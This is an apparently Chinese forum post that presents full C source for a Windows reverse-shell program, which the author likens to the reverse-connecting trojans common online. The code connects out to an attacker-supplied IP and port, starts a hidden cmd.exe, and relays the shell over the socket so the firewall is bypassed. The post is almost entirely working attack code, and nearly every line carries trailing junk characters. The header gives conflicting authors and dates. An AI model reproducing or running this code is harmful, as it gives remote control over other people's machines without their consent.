这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 85X^T]zo
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/* ============================== p;'vOb
Rebound port in Windows NT nU`;MW/^w
By wind,2006/7 >U}~Hv]
===============================*/ w68qyG|wM
#include Tq?W @DM*
#include q`\lvdl
wUSWB{y
#pragma comment(lib,"wsock32.lib") }M1<a4~
q!7\`>.2:{
void OutputShell(); ?/u&U\P
SOCKET sClient; (+>n/I6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3b_#xr-
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void main(int argc,char **argv) $)uQ%/DH>
{ jrW7AT)\
WSADATA stWsaData; jALo;PDJ
int nRet; `q/y|/v<
SOCKADDR_IN stSaiClient,stSaiServer; weDv[b5i
\Z~m6;
if(argc != 3) 5<S1,u5
{ 6jnRC*!?
printf("Useage:\n\rRebound DestIP DestPort\n"); (z.Vwl5
return; G9gvOEI/
} !7w-?1?D
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WSAStartup(MAKEWORD(2,2),&stWsaData); I4)vJ0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LD5'4,%-
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stSaiClient.sin_family = AF_INET; 4C2 Dwj
stSaiClient.sin_port = htons(0); X(1.Hjh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?^7~|?v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BE U[M
{ >y=%o~
printf("Bind Socket Failed!\n"); w8on3f;6n#
return; 712i|
} O-|3k$'\z
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stSaiServer.sin_family = AF_INET; m760K*:i\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T&h|sa(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q8p 'bibY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jVA xa|S
{ B[*i}k%i
printf("Connect Error!"); c9&
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return; ?oF@q :W
} 4x3`dvfp/
OutputShell(); [IYs4Y5
} HsXFglQ
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void OutputShell() gi`ZFq@
{ hIw*dob
char szBuff[1024]; B U)4g[4
SECURITY_ATTRIBUTES stSecurityAttributes; JAn3
OSVERSIONINFO stOsversionInfo; 6?`py}:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QR#,n@fE
STARTUPINFO stStartupInfo; (kSkbwu
char *szShell; ;Rt,"W)
PROCESS_INFORMATION stProcessInformation; k4|YaGhf
unsigned long lBytesRead; {Cd*y6lI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ffWvrY;j[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %AJdtJ@0H
stSecurityAttributes.lpSecurityDescriptor = 0; FkS{Z s
stSecurityAttributes.bInheritHandle = TRUE; i7p3GBXh[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \0:l9;^4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @B[V'|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 59)PJ0E
stStartupInfo.wShowWindow = SW_HIDE; lyT~>.?{
stStartupInfo.hStdInput = hReadPipe; ND`~|6yb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RS93_F8
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GetVersionEx(&stOsversionInfo); vbWX`skU
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switch(stOsversionInfo.dwPlatformId) Ufk7%`
{ *s/F4?*
case 1: `zvYuKQ.}
szShell = "command.com"; xo*a9H?@
break; ,JjTzO
default: J0x)m2
szShell = "cmd.exe"; $V+ze*ra
break; r9QNE>UG
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sPhh#VCw{
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send(sClient,szMsg,77,0); $DQMN
while(1) ?iq:Gf
{ %@IR7v~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZA# jw 8F
if(lBytesRead) 4[(P>`Unx
{ Vw,dHIe(3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E0*81PS
send(sClient,szBuff,lBytesRead,0); *AJW8tIP
} Kg%_e9nj#
else >y az
{ "{&!fD~w
lBytesRead=recv(sClient,szBuff,1024,0); zi5;>Iv0}
if(lBytesRead<=0) break; mO\6B7V!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); avT>0b:
} U_!6pqFc
} {:? -)Xq
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return; S |B7HS5
}